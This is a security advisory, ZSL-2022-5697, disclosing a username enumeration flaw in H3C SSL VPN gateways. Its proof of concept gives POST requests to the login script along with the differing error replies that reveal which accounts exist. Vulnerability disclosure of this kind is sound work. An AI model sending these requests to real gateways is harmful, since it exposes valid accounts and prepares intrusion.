H3C SSL VPN - Username Enumeration

# Exploit Title: H3C SSL VPN - Username Enumeration
# Exploit Author: LiquidWorm

H3C SSL VPN Username Enumeration


Vendor: Hangzhou H3C Technologies Co. | New H3C Technologies Co., Ltd.
Product web page: https://www.h3c.com
Affected version: n/a

Summary: H3C SSL VPN is a secure VPN system based on SSL connections. It allows mobile employees
to access corporate networks remotely in an easy and secure way. The H3C SSL VPN devices are a
new generation of professional SSL VPN devices for enterprises. They can function as ingress
gateways as well as proxy gateways of internal server clusters. The SecPath SSL VPN devices are
for small-to medium-sized enterprises, while the SecBlade SSL VPN devices are for medium-sized
enterprises.

Desc: The weakness is caused due to the login script and how it verifies provided credentials. An
attacker can use this weakness to enumerate valid users on the affected application via 'txtUsrName'
POST parameter.

Tested on: ssl vpn gateway HttpServer 1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5697
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5697.php


24.01.2022

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Non-valid:
----------

POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi

txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=root&txtPassword=123456&selDomain=1&authmethod=1&vldCode=


		<tr><td align="center">User is not exist</TD></TR>



Valid:
------

POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi

txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=administrator&txtPassword=123456&selDomain=1&authmethod=1&vldCode=

		<tr><td align="center">Input password incorrect</TD></TR>



Valid:
------

POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi

txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=guest&txtPassword=123456&selDomain=1&authmethod=1&vldCode=

		<tr><td align="center">Local user state is inactive</TD></TR>